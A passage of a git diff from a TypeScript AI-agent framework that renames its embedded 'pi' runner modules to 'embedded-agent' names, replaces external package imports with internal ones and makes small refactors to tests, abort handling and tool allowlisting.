src/agents/pi-embedded-runner/run/attempt.stop-reason-recovery.ts rename to src/agents/embedded-agent-runner/run/attempt.stop-reason-recovery.ts index 792a8961228..11f98f27696 100644 --- a/src/agents/pi-embedded-runner/run/attempt.stop-reason-recovery.ts +++ b/src/agents/embedded-agent-runner/run/attempt.stop-reason-recovery.ts @@ -1,6 +1,7 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { createAssistantMessageEventStream, streamSimple } from "@earendil-works/pi-ai"; import { formatErrorMessage } from "../../../infra/errors.js"; +import { createAssistantMessageEventStream } from "../../../llm/utils/event-stream.js"; +import type { StreamFn } from "../../runtime/index.js"; +import type { MutableAssistantMessageEventStream } from "../../stream-compat.js"; import { createStreamIteratorWrapper } from "../../stream-iterator-wrapper.js"; import { buildStreamErrorAssistantMessage } from "../../stream-message-shared.js"; @@ -40,7 +41,7 @@ function patchUnhandledStopReasonInAssistantMessage(message: unknown): void { function buildUnhandledStopReasonErrorStream( model: Parameters[0], errorMessage: string, -): ReturnType { +): MutableAssistantMessageEventStream { const stream = createAssistantMessageEventStream(); queueMicrotask(() => { stream.push({ @@ -62,8 +63,8 @@ function buildUnhandledStopReasonErrorStream( function wrapStreamHandleUnhandledStopReason( model: Parameters[0], - stream: ReturnType, -): ReturnType { + stream: MutableAssistantMessageEventStream, +): MutableAssistantMessageEventStream { const originalResult = stream.result.bind(stream); stream.result = async () => { try { diff --git a/src/agents/pi-embedded-runner/run/attempt.subscription-cleanup.test.ts b/src/agents/embedded-agent-runner/run/attempt.subscription-cleanup.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/attempt.subscription-cleanup.test.ts rename to src/agents/embedded-agent-runner/run/attempt.subscription-cleanup.test.ts diff --git a/src/agents/pi-embedded-runner/run/attempt.subscription-cleanup.ts b/src/agents/embedded-agent-runner/run/attempt.subscription-cleanup.ts similarity index 94% rename from src/agents/pi-embedded-runner/run/attempt.subscription-cleanup.ts rename to src/agents/embedded-agent-runner/run/attempt.subscription-cleanup.ts index e83f02c3b00..598472411a6 100644 --- a/src/agents/pi-embedded-runner/run/attempt.subscription-cleanup.ts +++ b/src/agents/embedded-agent-runner/run/attempt.subscription-cleanup.ts @@ -1,4 +1,4 @@ -import type { SubscribeEmbeddedPiSessionParams } from "../../pi-embedded-subscribe.types.js"; +import type { SubscribeEmbeddedAgentSessionParams } from "../../embedded-agent-subscribe.types.js"; import { log } from "../logger.js"; export const EMBEDDED_ABORT_SETTLE_TIMEOUT_MS = @@ -47,8 +47,8 @@ async function waitForEmbeddedAbortSettle(params: { } export function buildEmbeddedSubscriptionParams( - params: SubscribeEmbeddedPiSessionParams, -): SubscribeEmbeddedPiSessionParams { + params: SubscribeEmbeddedAgentSessionParams, +): SubscribeEmbeddedAgentSessionParams { return params; } diff --git a/src/agents/pi-embedded-runner/run/attempt.test.ts b/src/agents/embedded-agent-runner/run/attempt.test.ts similarity index 99% rename from src/agents/pi-embedded-runner/run/attempt.test.ts rename to src/agents/embedded-agent-runner/run/attempt.test.ts index 8242fdace13..4124f1b9207 100644 --- a/src/agents/pi-embedded-runner/run/attempt.test.ts +++ b/src/agents/embedded-agent-runner/run/attempt.test.ts @@ -1,5 +1,5 @@ -import { streamSimple } from "@earendil-works/pi-ai"; import { describe, expect, it, vi } from "vitest"; +import { streamSimple } from "../../../llm/stream.js"; vi.mock("../context-engine-capabilities.js", () => ({ resolveContextEngineCapabilities: async () => ({ llm: undefined }), @@ -635,7 +635,7 @@ describe("shouldRunLlmOutputHooksForAttempt", () => { }); describe("resolvePromptBuildHookResult", () => { - function createLegacyOnlyHookRunner() { + function createBeforeAgentStartOnlyHookRunner() { return { hasHooks: vi.fn( ( @@ -651,29 +651,29 @@ describe("resolvePromptBuildHookResult", () => { }; } - it("reuses precomputed legacy before_agent_start result without invoking hook again", async () => { - const hookRunner = createLegacyOnlyHookRunner(); + it("reuses precomputed before_agent_start result without invoking hook again", async () => { + const hookRunner = createBeforeAgentStartOnlyHookRunner(); const result = await resolvePromptBuildHookResult({ config: {}, prompt: "hello", messages: [], hookCtx: {}, hookRunner, - legacyBeforeAgentStartResult: { prependContext: "from-cache", systemPrompt: "legacy-system" }, + beforeAgentStartResult: { prependContext: "from-cache", systemPrompt: "agent-start-system" }, }); expect(hookRunner.runBeforeAgentStart).not.toHaveBeenCalled(); expect(result).toEqual({ prependContext: "from-cache", appendContext: undefined, - systemPrompt: "legacy-system", + systemPrompt: "agent-start-system", prependSystemContext: undefined, appendSystemContext: undefined, }); }); - it("calls legacy hook when precomputed result is absent", async () => { - const hookRunner = createLegacyOnlyHookRunner(); + it("calls before_agent_start hook when precomputed result is absent", async () => { + const hookRunner = createBeforeAgentStartOnlyHookRunner(); const messages = [{ role: "user", content: "ctx" }]; const result = await resolvePromptBuildHookResult({ config: {}, @@ -688,7 +688,7 @@ describe("resolvePromptBuildHookResult", () => { expect(result.prependContext).toBe("from-hook"); }); - it("merges prompt-build and legacy context fields in deterministic order", async () => { + it("merges prompt-build and before_agent_start context fields in deterministic order", async () => { const hookRunner = { hasHooks: vi.fn(() => true), runBeforePromptBuild: vi.fn(async () => ({ @@ -698,10 +698,10 @@ describe("resolvePromptBuildHookResult", () => { appendSystemContext: "prompt append", })), runBeforeAgentStart: vi.fn(async () => ({ - prependContext: "legacy context", - appendContext: "legacy append context", - prependSystemContext: "legacy prepend", - appendSystemContext: "legacy append", + prependContext: "agent start context", + appendContext: "agent start append context", + prependSystemContext: "agent start prepend", + appendSystemContext: "agent start append", })), }; @@ -713,10 +713,10 @@ describe("resolvePromptBuildHookResult", () => { hookRunner, }); - expect(result.prependContext).toBe("prompt context\n\nlegacy context"); - expect(result.appendContext).toBe("prompt append context\n\nlegacy append context"); - expect(result.prependSystemContext).toBe("prompt prepend\n\nlegacy prepend"); - expect(result.appendSystemContext).toBe("prompt append\n\nlegacy append"); + expect(result.prependContext).toBe("prompt context\n\nagent start context"); + expect(result.appendContext).toBe("prompt append context\n\nagent start append context"); + expect(result.prependSystemContext).toBe("prompt prepend\n\nagent start prepend"); + expect(result.appendSystemContext).toBe("prompt append\n\nagent start append"); }); it("applies heartbeat prompt contributions only during heartbeat turns", async () => { diff --git a/src/agents/pi-embedded-runner/run/attempt.thread-helpers.ts b/src/agents/embedded-agent-runner/run/attempt.thread-helpers.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/attempt.thread-helpers.ts rename to src/agents/embedded-agent-runner/run/attempt.thread-helpers.ts diff --git a/src/agents/pi-embedded-runner/run/attempt.tool-call-argument-repair.test.ts b/src/agents/embedded-agent-runner/run/attempt.tool-call-argument-repair.test.ts similarity index 95% rename from src/agents/pi-embedded-runner/run/attempt.tool-call-argument-repair.test.ts rename to src/agents/embedded-agent-runner/run/attempt.tool-call-argument-repair.test.ts index 058bce339ef..12a0bfa75aa 100644 --- a/src/agents/pi-embedded-runner/run/attempt.tool-call-argument-repair.test.ts +++ b/src/agents/embedded-agent-runner/run/attempt.tool-call-argument-repair.test.ts @@ -51,12 +51,21 @@ describe("shouldRepairMalformedToolCallArguments", () => { it("keeps the repair enabled for kimi providers on anthropic-messages", () => { expect( shouldRepairMalformedToolCallArguments({ - provider: "kimi-coding", + provider: "kimi", modelApi: "anthropic-messages", }), ).toBe(true); }); + it("does not apply kimi repair across provider id variants", () => { + expect( + shouldRepairMalformedToolCallArguments({ + provider: "kimi-coding", + modelApi: "anthropic-messages", + }), + ).toBe(false); + }); + it("enables the repair for openai-completions even when the provider is not kimi", () => { expect( shouldRepairMalformedToolCallArguments({ diff --git a/src/agents/pi-embedded-runner/run/attempt.tool-call-argument-repair.ts b/src/agents/embedded-agent-runner/run/attempt.tool-call-argument-repair.ts similarity index 98% rename from src/agents/pi-embedded-runner/run/attempt.tool-call-argument-repair.ts rename to src/agents/embedded-agent-runner/run/attempt.tool-call-argument-repair.ts index 896112a8e7c..f6a3eff4eb1 100644 --- a/src/agents/pi-embedded-runner/run/attempt.tool-call-argument-repair.ts +++ b/src/agents/embedded-agent-runner/run/attempt.tool-call-argument-repair.ts @@ -1,7 +1,7 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { streamSimple } from "@earendil-works/pi-ai"; import { extractBalancedJsonPrefix } from "../../../shared/balanced-json.js"; import { normalizeProviderId } from "../../model-selection.js"; +import type { StreamFn } from "../../runtime/index.js"; +import type { MutableAssistantMessageEventStream } from "../../stream-compat.js"; import { log } from "../logger.js"; import { createHtmlEntityToolCallArgumentDecodingWrapper, @@ -187,8 +187,8 @@ function repairMalformedToolCallArgumentsInMessage( } function wrapStreamRepairMalformedToolCallArguments( - stream: ReturnType, -): ReturnType { + stream: MutableAssistantMessageEventStream, +): MutableAssistantMessageEventStream { const partialJsonByIndex = new Map(); const repairedArgsByIndex = new Map>(); const hadPreexistingArgsByIndex = new Set(); diff --git a/src/agents/pi-embedded-runner/run/attempt.tool-call-normalization.test.ts b/src/agents/embedded-agent-runner/run/attempt.tool-call-normalization.test.ts similarity index 99% rename from src/agents/pi-embedded-runner/run/attempt.tool-call-normalization.test.ts rename to src/agents/embedded-agent-runner/run/attempt.tool-call-normalization.test.ts index 35c06700607..165af7fd38e 100644 --- a/src/agents/pi-embedded-runner/run/attempt.tool-call-normalization.test.ts +++ b/src/agents/embedded-agent-runner/run/attempt.tool-call-normalization.test.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; import { describe, expect, it } from "vitest"; import { sanitizeOpenAIResponsesReplayForStream, diff --git a/src/agents/pi-embedded-runner/run/attempt.tool-call-normalization.ts b/src/agents/embedded-agent-runner/run/attempt.tool-call-normalization.ts similarity index 98% rename from src/agents/pi-embedded-runner/run/attempt.tool-call-normalization.ts rename to src/agents/embedded-agent-runner/run/attempt.tool-call-normalization.ts index f5d4519c271..ef00e5e71cd 100644 --- a/src/agents/pi-embedded-runner/run/attempt.tool-call-normalization.ts +++ b/src/agents/embedded-agent-runner/run/attempt.tool-call-normalization.ts @@ -1,16 +1,15 @@ -import type { AgentMessage, StreamFn } from "@earendil-works/pi-agent-core"; -import { streamSimple } from "@earendil-works/pi-ai"; import { visitObjectContentBlocks } from "../../../shared/message-content-blocks.js"; import { normalizeLowercaseStringOrEmpty } from "../../../shared/string-coerce.js"; -import { normalizeStringEntries } from "../../../shared/string-normalization.js"; import { downgradeOpenAIFunctionCallReasoningPairs, downgradeOpenAIReasoningBlocks, normalizeOpenAIResponsesToolCallIds, validateAnthropicTurns, validateGeminiTurns, -} from "../../pi-embedded-helpers.js"; +} from "../../embedded-agent-helpers.js"; +import type { AgentMessage, StreamFn } from "../../runtime/index.js"; import { sanitizeToolUseResultPairing } from "../../session-transcript-repair.js"; +import type { MutableAssistantMessageEventStream } from "../../stream-compat.js"; import { extractToolCallsFromAssistant, extractToolResultIds, @@ -95,7 +94,10 @@ function buildStructuredToolNameCandidates(rawName: string): string[] { addCandidate(normalizedDelimiter); addCandidate(normalizeToolName(normalizedDelimiter)); - const segments = normalizeStringEntries(normalizedDelimiter.split(".")); + const segments = normalizedDelimiter + .split(".") + .map((segment) => segment.trim()) + .filter(Boolean); if (segments.length > 1) { for (let index = 1; index < segments.length; index += 1) { const suffix = segments.slice(index).join("."); @@ -848,10 +850,10 @@ function guardUnknownToolLoopInMessage( } function wrapStreamTrimToolCallNames( - stream: ReturnType, + stream: MutableAssistantMessageEventStream, allowedToolNames?: Set, options?: { unknownToolThreshold?: number; state?: UnknownToolLoopGuardState }, -): ReturnType { +): MutableAssistantMessageEventStream { const unknownToolGuardState = options?.state ?? { count: 0, countedMessages: new WeakSet(), diff --git a/src/agents/pi-embedded-runner/run/attempt.tool-run-context.ts b/src/agents/embedded-agent-runner/run/attempt.tool-run-context.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/attempt.tool-run-context.ts rename to src/agents/embedded-agent-runner/run/attempt.tool-run-context.ts diff --git a/src/agents/pi-embedded-runner/run/attempt.transcript-policy.test.ts b/src/agents/embedded-agent-runner/run/attempt.transcript-policy.test.ts similarity index 99% rename from src/agents/pi-embedded-runner/run/attempt.transcript-policy.test.ts rename to src/agents/embedded-agent-runner/run/attempt.transcript-policy.test.ts index 4d918073310..4efa85c6fed 100644 --- a/src/agents/pi-embedded-runner/run/attempt.transcript-policy.test.ts +++ b/src/agents/embedded-agent-runner/run/attempt.transcript-policy.test.ts @@ -84,6 +84,7 @@ describe("resolveAttemptTranscriptPolicy", () => { expect(policy.allowSyntheticToolResults).toBe(true); expect(resolveProviderRuntimePluginMock).toHaveBeenCalledWith({ provider: "custom-openai-compatible", + modelId: "gpt-5.4", config: undefined, workspaceDir: "/tmp/openclaw-transcript-policy", env, diff --git a/src/agents/pi-embedded-runner/run/attempt.transcript-policy.ts b/src/agents/embedded-agent-runner/run/attempt.transcript-policy.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/attempt.transcript-policy.ts rename to src/agents/embedded-agent-runner/run/attempt.transcript-policy.ts diff --git a/src/agents/pi-embedded-runner/run/attempt.ts b/src/agents/embedded-agent-runner/run/attempt.ts similarity index 94% rename from src/agents/pi-embedded-runner/run/attempt.ts rename to src/agents/embedded-agent-runner/run/attempt.ts index 9bec2b146fd..6820b292fdf 100644 --- a/src/agents/pi-embedded-runner/run/attempt.ts +++ b/src/agents/embedded-agent-runner/run/attempt.ts @@ -1,13 +1,6 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { AssistantMessage } from "@earendil-works/pi-ai"; -import { - createAgentSession, - type AgentSession, - SessionManager, -} from "@earendil-works/pi-coding-agent"; import { isAcpRuntimeSpawnAvailable } from "../../../acp/runtime/availability.js"; import { buildHierarchyReinforcementMessage } from "../../../auto-reply/handoff-summarizer.js"; import { filterHeartbeatTranscriptArtifacts } from "../../../auto-reply/heartbeat-filter.js"; @@ -25,7 +18,7 @@ import { } from "../../../config/sessions/transcript-write-context.js"; import { assertContextEngineHostSupport, - PI_EMBEDDED_CONTEXT_ENGINE_HOST, + OPENCLAW_EMBEDDED_CONTEXT_ENGINE_HOST, } from "../../../context-engine/host-compat.js"; import { resolveContextEngineOwnerPluginId } from "../../../context-engine/registry.js"; import type { AssembleResult } from "../../../context-engine/types.js"; @@ -40,6 +33,8 @@ import { isEmbeddedMode } from "../../../infra/embedded-mode.js"; import { formatErrorMessage } from "../../../infra/errors.js"; import { resolveHeartbeatSummaryForAgent } from "../../../infra/heartbeat-summary.js"; import { getMachineDisplayName } from "../../../infra/machine-name.js"; +import { createCodexNativeWebSearchWrapper } from "../../../llm/providers/stream-wrappers/openai.js"; +import type { AssistantMessage } from "../../../llm/types.js"; import { MAX_IMAGE_BYTES } from "../../../media/constants.js"; import { listRegisteredPluginAgentPromptGuidance } from "../../../plugins/command-registry-state.js"; import { getCurrentPluginMetadataSnapshot } from "../../../plugins/current-plugin-metadata-snapshot.js"; @@ -70,7 +65,35 @@ import { import { resolveUserPath } from "../../../utils.js"; import { normalizeMessageChannel } from "../../../utils/message-channel.js"; import { isReasoningTagProvider } from "../../../utils/provider-utils.js"; +import { createBundleLspToolRuntime } from "../../agent-bundle-lsp-runtime.js"; +import { + getOrCreateSessionMcpRuntime, + materializeBundleMcpToolsForRun, +} from "../../agent-bundle-mcp-tools.js"; +import { createPreparedEmbeddedAgentSettingsManager } from "../../agent-project-settings.js"; import { resolveAgentDir, resolveSessionAgentIds } from "../../agent-scope.js"; +import { + applyAgentAutoCompactionGuard, + applyAgentCompactionSettingsFromConfig, + isSilentOverflowProneModel, + resolveEffectiveCompactionMode, +} from "../../agent-settings.js"; +import { + createClientToolNameConflictError, + findClientToolNameConflicts, + toClientToolDefinitions, +} from "../../agent-tool-definition-adapter.js"; +import { + createOpenClawCodingTools, + resolveProcessToolScopeKey, + resolveToolLoopDetectionConfig, +} from "../../agent-tools.js"; +import { + resolveEffectiveToolPolicy, + resolveGroupToolPolicy, + resolveInheritedToolPolicyForSession, + resolveSubagentToolPolicyForSession, +} from "../../agent-tools.policy.js"; import { createAnthropicPayloadLogger } from "../../anthropic-payload-log.js"; import { listActiveProcessSessionReferences } from "../../bash-process-references.js"; import { @@ -105,6 +128,15 @@ import { } from "../../code-mode.js"; import { DEFAULT_CONTEXT_TOKENS } from "../../defaults.js"; import { resolveOpenClawReferencePaths } from "../../docs-path.js"; +import type { EmbeddedContextFile } from "../../embedded-agent-helpers.js"; +import { + isCloudCodeAssistFormatError, + resolveBootstrapMaxChars, + resolveBootstrapPromptTruncationWarningMode, + resolveBootstrapTotalMaxChars, +} from "../../embedded-agent-helpers.js"; +import { countActiveToolExecutions } from "../../embedded-agent-subscribe.handlers.tools.js"; +import { subscribeEmbeddedAgentSession } from "../../embedded-agent-subscribe.js"; import { isTimeoutError } from "../../failover-error.js"; import { resolveHeartbeatPromptForSystemPrompt } from "../../heartbeat-system-prompt.js"; import { resolveImageSanitizationLimits } from "../../image-sanitization.js"; @@ -113,44 +145,6 @@ import { filterLocalModelLeanTools, isLocalModelLeanEnabled } from "../../local- import { resolveModelAuthMode } from "../../model-auth.js"; import { resolveDefaultModelForAgent } from "../../model-selection.js"; import { supportsModelTools } from "../../model-tool-support.js"; -import { createBundleLspToolRuntime } from "../../pi-bundle-lsp-runtime.js"; -import { - getOrCreateSessionMcpRuntime, - materializeBundleMcpToolsForRun, -} from "../../pi-bundle-mcp-tools.js"; -import type { EmbeddedContextFile } from "../../pi-embedded-helpers.js"; -import { - isCloudCodeAssistFormatError, - resolveBootstrapMaxChars, - resolveBootstrapPromptTruncationWarningMode, - resolveBootstrapTotalMaxChars, -} from "../../pi-embedded-helpers.js"; -import { countActiveToolExecutions } from "../../pi-embedded-subscribe.handlers.tools.js"; -import { subscribeEmbeddedPiSession } from "../../pi-embedded-subscribe.js"; -import { isCoreToolResultMediaTrustedName } from "../../pi-embedded-subscribe.tools.js"; -import { createPreparedEmbeddedPiSettingsManager } from "../../pi-project-settings.js"; -import { - applyPiAutoCompactionGuard, - applyPiCompactionSettingsFromConfig, - isSilentOverflowProneModel, - resolveEffectiveCompactionMode, -} from "../../pi-settings.js"; -import { - createClientToolNameConflictError, - findClientToolNameConflicts, - toClientToolDefinitions, -} from "../../pi-tool-definition-adapter.js"; -import { - createOpenClawCodingTools, - resolveProcessToolScopeKey, - resolveToolLoopDetectionConfig, -} from "../../pi-tools.js"; -import { - resolveEffectiveToolPolicy, - resolveGroupToolPolicy, - resolveInheritedToolPolicyForSession, - resolveSubagentToolPolicyForSession, -} from "../../pi-tools.policy.js"; import { wrapStreamFnTextTransforms } from "../../plugin-text-transforms.js"; import { resolveAgentPromptSurfaceForSessionKey } from "../../prompt-surface.js"; import { describeProviderRequestRoutingSummary } from "../../provider-attribution.js"; @@ -161,6 +155,7 @@ import { logAgentRuntimeToolDiagnostics, normalizeAgentRuntimeTools, } from "../../runtime-plan/tools.js"; +import type { AgentMessage } from "../../runtime/index.js"; import { resolveSandboxContext } from "../../sandbox.js"; import { resolveSandboxRuntimeStatus } from "../../sandbox/runtime-status.js"; import { repairSessionFileIfNeeded } from "../../session-file-repair.js"; @@ -174,6 +169,7 @@ import { resolveSessionLockMaxHoldFromTimeout, resolveSessionWriteLockOptions, } from "../../session-write-lock.js"; +import { createAgentSession, type AgentSession, SessionManager } from "../../sessions/index.js"; import { detectRuntimeShell } from "../../shell-utils.js"; import { applySkillEnvOverrides, @@ -235,7 +231,6 @@ import { prepareGooglePromptCacheStreamFn } from "../google-prompt-cache.js"; import { getHistoryLimitFromSessionKey, limitHistoryTurns } from "../history.js"; import { log } from "../logger.js"; import { buildEmbeddedMessageActionDiscoveryInput } from "../message-action-discovery-input.js"; -import { createCodexNativeWebSearchWrapper } from "../openai-stream-wrappers.js"; import { collectPromptCacheToolNames, beginPromptCacheObservation, @@ -250,10 +245,10 @@ import { validateReplayTurns, } from "../replay-history.js"; import { observeReplayMetadata, replayMetadataFromState } from "../replay-state.js"; -import { createEmbeddedPiResourceLoader } from "../resource-loader.js"; +import { createEmbeddedAgentResourceLoader } from "../resource-loader.js"; import { clearActiveEmbeddedRun, - type EmbeddedPiQueueHandle, + type EmbeddedAgentQueueHandle, setActiveEmbeddedRun, updateActiveEmbeddedRunSessionFile, updateActiveEmbeddedRunSnapshot, @@ -279,7 +274,7 @@ import { collectAllowedToolNames, collectCoreBuiltinToolNames, collectRegisteredToolNames, - PI_RESERVED_TOOL_NAMES, + AGENT_RESERVED_TOOL_NAMES, toSessionToolAllowlist, } from "../tool-name-allowlist.js"; import { @@ -406,6 +401,7 @@ import { import { resolveLlmIdleTimeoutMs, streamWithIdleTimeout } from "./llm-idle-timeout.js"; import { resolveMessageMergeStrategy } from "./message-merge-strategy.js"; import { installMessageToolOnlyTerminalHook } from "./message-tool-terminal.js"; +import { wrapStreamFnWithMessageTransform } from "./message-transform-stream-wrapper.js"; import { MID_TURN_PRECHECK_ERROR_MESSAGE, isMidTurnPrecheckSignal, @@ -461,35 +457,6 @@ export { resolveEmbeddedAgentStreamFn, }; -function collectTrustedPluginLocalMediaToolNames(params: { - tools: Array<{ name?: string }>; -}): Set { - const trusted = new Set(); - for (const tool of params.tools) { - const toolName = tool.name?.trim(); - if (!toolName) { - continue; - } - const meta = getPluginToolMeta(tool as Parameters[0]); - if (meta?.trustedLocalMedia === true) { - trusted.add(toolName); - } - } - return trusted; -} - -function collectTrustedLocalMediaToolNames(params: { - coreBuiltinToolNames: ReadonlySet; - trustedPluginToolNames: ReadonlySet; -}): Set { - return new Set([ - ...[...params.coreBuiltinToolNames].filter((toolName) => - isCoreToolResultMediaTrustedName(toolName), - ), - ...params.trustedPluginToolNames, - ]); -} - function logRuntimeToolSchemaQuarantine(params: { diagnostics: readonly RuntimeToolSchemaDiagnostic[]; tools: readonly Parameters[0][]; @@ -523,7 +490,6 @@ function logRuntimeToolSchemaQuarantine(params: { `[tools] quarantined ${params.diagnostics.length} unsupported tool schema${params.diagnostics.length === 1 ? "" : "s"} before model runtime projection: ${summary}. Run openclaw doctor for details.`, ); } - const MAX_BTW_SNAPSHOT_MESSAGES = 100; const TOOL_SEARCH_CONTROL_ALLOWLIST_NAMES = [ TOOL_SEARCH_CODE_MODE_TOOL_NAME, @@ -762,7 +728,7 @@ function summarizeSessionContext(messages: AgentMessage[]): { }; } -export type EmbeddedPiActiveSessionSteerTarget = { +export type EmbeddedAgentActiveSessionSteerTarget = { agent?: unknown; getSteeringMessages?(): readonly string[]; steer(text: string): Promise; @@ -826,7 +792,7 @@ function isCompactionStartEvent(event: unknown): boolean { ); } -function getPiSteeringQueueMessages(agent: unknown): unknown[] | undefined { +function getAgentSteeringQueueMessages(agent: unknown): unknown[] | undefined { if (!agent || typeof agent !== "object") { return undefined; } @@ -839,14 +805,14 @@ function getPiSteeringQueueMessages(agent: unknown): unknown[] | undefined { } async function cancelQueuedSteeringMessage( - activeSession: EmbeddedPiActiveSessionSteerTarget, + activeSession: EmbeddedAgentActiveSessionSteerTarget, text: string, ): Promise { - const queuedMessages = getPiSteeringQueueMessages(activeSession.agent); + const queuedMessages = getAgentSteeringQueueMessages(activeSession.agent); if (!queuedMessages) { return false; } - // Pi exposes only all-queue clears publicly; mutate the exact pending message + // The session runtime exposes only all-queue clears publicly; mutate the exact pending message // so unrelated queued messages keep their full payloads. const queueIndex = queuedMessages.findIndex( (message) => extractQueuedUserMessageText(message) === text, @@ -896,7 +862,7 @@ function resolveAttemptStreamAuthProfileId( } async function steerAndWaitForTranscriptCommit( - activeSession: EmbeddedPiActiveSessionSteerTarget, + activeSession: EmbeddedAgentActiveSessionSteerTarget, text: string, timeoutMs: number, ): Promise { @@ -984,7 +950,7 @@ async function steerAndWaitForTranscriptCommit( } async function steerActiveSessionWithOptionalDeliveryWait( - activeSession: EmbeddedPiActiveSessionSteerTarget, + activeSession: EmbeddedAgentActiveSessionSteerTarget, text: string, options: { deliveryTimeoutMs?: number; waitForTranscriptCommit?: boolean } | undefined, ): Promise { @@ -1182,7 +1148,7 @@ function sessionMessagesContainIdempotencyKey( } function flushSessionManagerFile(sessionManager: ReturnType): void { - (sessionManager as unknown as { _rewriteFile?: () => void })["_rewriteFile"]?.(); + (sessionManager as unknown as { rewriteFile?: () => void }).rewriteFile?.(); } export function shouldRunLlmOutputHooksForAttempt(params: { promptErrorSource: string | null }) { @@ -1246,7 +1212,7 @@ function removeTrailingMidTurnPrecheckAssistantError(params: { }>; byId?: Map; leafId?: string | null; - _rewriteFile?: () => void; + rewriteFile?: () => void; }; const lastEntry = mutableSessionManager.fileEntries?.at(-1); if (lastEntry?.type !== "message" || !isMidTurnPrecheckAssistantError(lastEntry.message)) { @@ -1257,7 +1223,7 @@ function removeTrailingMidTurnPrecheckAssistantError(params: { } return; } - if (typeof mutableSessionManager["_rewriteFile"] !== "function") { + if (typeof mutableSessionManager.rewriteFile !== "function") { log.warn( "[context-overflow-midturn-precheck] removed synthetic assistant error from active session but SessionManager rewrite hook is unavailable", ); @@ -1268,7 +1234,7 @@ function removeTrailingMidTurnPrecheckAssistantError(params: { mutableSessionManager.byId?.delete(lastEntry.id); } mutableSessionManager.leafId = lastEntry.parentId ?? null; - mutableSessionManager["_rewriteFile"](); + mutableSessionManager.rewriteFile(); } export function resolveAttemptToolPolicyMessageProvider(params: { @@ -1359,21 +1325,6 @@ function collectAttemptExplicitToolAllowlistSources(params: { ]); } -function createAttemptAbortError(signal: AbortSignal): Error { - if (signal.reason instanceof Error) { - return signal.reason; - } - const error = new Error(typeof signal.reason === "string" ? signal.reason : "agent run aborted"); - error.name = "AbortError"; - return error; -} - -function throwIfAttemptAbortSignalFired(signal: AbortSignal | undefined): void { - if (signal?.aborted === true) { - throw createAttemptAbortError(signal); - } -} - export async function runEmbeddedAttempt( params: EmbeddedRunAttemptParams, ): Promise { @@ -1385,7 +1336,6 @@ export async function runEmbeddedAttempt( `embedded run start: runId=${params.runId} sessionId=${params.sessionId} provider=${params.provider} model=${params.modelId} thinking=${params.thinkLevel} messageChannel=${params.messageChannel ?? params.messageProvider ?? "unknown"}`, ); const prepStages = createEmbeddedRunStageTracker(); - throwIfAttemptAbortSignalFired(params.abortSignal); const emitPrepStageSummary = (phase: string) => { const summary = prepStages.snapshot(); const shouldWarn = shouldWarnEmbeddedRunStageSummary(summary); @@ -1483,6 +1433,14 @@ export async function runEmbeddedAttempt( let isCompactionPendingForExternalSignal: (() => boolean) | undefined; let isCompactionInFlightForExternalSignal: (() => boolean) | undefined; let removeExternalAbortSignalListener: (() => void) | undefined; + const createAttemptAbortError = (signal: AbortSignal): Error => { + if (signal.reason instanceof Error) { + return signal.reason; + } + const err = new Error("request aborted", { cause: signal.reason }); + err.name = "AbortError"; + return err; + }; const getAbortReason = (signal: AbortSignal): unknown => "reason" in signal ? (signal as { reason?: unknown }).reason : undefined; const makeTimeoutAbortReason = (): Error => { @@ -1616,7 +1574,7 @@ export async function runEmbeddedAttempt( assertContextEngineHostSupport({ contextEngine: activeContextEngine, operation: "agent-run", - host: PI_EMBEDDED_CONTEXT_ENGINE_HOST, + host: OPENCLAW_EMBEDDED_CONTEXT_ENGINE_HOST, }); } const activeContextEnginePluginId = resolveContextEngineOwnerPluginId(activeContextEngine); @@ -1954,11 +1912,6 @@ export async function runEmbeddedAttempt( modelApi: params.model.api, model: params.model, }; - const pluginMetadataSnapshot = getCurrentPluginMetadataSnapshot({ - config: params.config, - env: process.env, - workspaceDir: effectiveWorkspace, - }); const tools = normalizeAgentRuntimeTools({ runtimePlan: params.runtimePlan, tools: toolsEnabled ? toolsRaw : [], @@ -1984,7 +1937,7 @@ export async function runEmbeddedAttempt( cfg: params.config, }) : undefined; - bundleMcpRuntime = bundleMcpSessionRuntime + const bundleMcpRuntime = bundleMcpSessionRuntime ? await materializeBundleMcpToolsForRun({ runtime: bundleMcpSessionRuntime, reservedToolNames: [ @@ -1998,7 +1951,7 @@ export async function runEmbeddedAttempt( disableTools: params.disableTools || isRawModelRun, toolsAllow: params.toolsAllow, }); - bundleLspRuntime = bundleLspEnabled + const bundleLspRuntime = bundleLspEnabled ? await createBundleLspToolRuntime({ workspaceDir: effectiveWorkspace, cfg: params.config, @@ -2009,8 +1962,15 @@ export async function runEmbeddedAttempt( ], }) : undefined; + const allowedBundledTools = applyEmbeddedAttemptToolsAllow( + [...(bundleMcpRuntime?.tools ?? []), ...(bundleLspRuntime?.tools ?? [])], + effectiveToolsAllow, + { + toolMeta: (tool) => getPluginToolMeta(tool), + }, + ); const filteredBundledTools = applyFinalEffectiveToolPolicy({ - bundledTools: [...(bundleMcpRuntime?.tools ?? []), ...(bundleLspRuntime?.tools ?? [])], + bundledTools: allowedBundledTools, config: params.config, sandboxToolPolicy: sandbox?.tools, sessionKey: sandboxSessionKey, @@ -2029,9 +1989,6 @@ export async function runEmbeddedAttempt( senderE164: params.senderE164, warn: (message) => log.warn(message), }); - const trustedPluginLocalMediaToolNames = collectTrustedPluginLocalMediaToolNames({ - tools: toolsEnabled ? [...toolsRaw, ...filteredBundledTools] : [], - }); const normalizedBundledTools = filteredBundledTools.length > 0 ? normalizeAgentRuntimeTools({ @@ -2117,7 +2074,6 @@ export async function runEmbeddedAttempt( catalogRef: toolSearchCatalogRef, toolHookContext: catalogToolHookContext, }); - toolSearchCatalogApplied = true; const projectedToolSearchTools = filterLocalModelLeanTools({ tools: toolSearch.tools, config: params.config, @@ -2442,7 +2398,6 @@ export async function runEmbeddedAttempt( }); releaseRetainedSessionLock = () => sessionLockController.dispose(); armExternalAbortSignal(); - await throwIfAttemptAbortSignalFiredAfterPrepCleanup(); let sessionManager: ReturnType | undefined; let session: Awaited>["session"] | undefined; @@ -2450,19 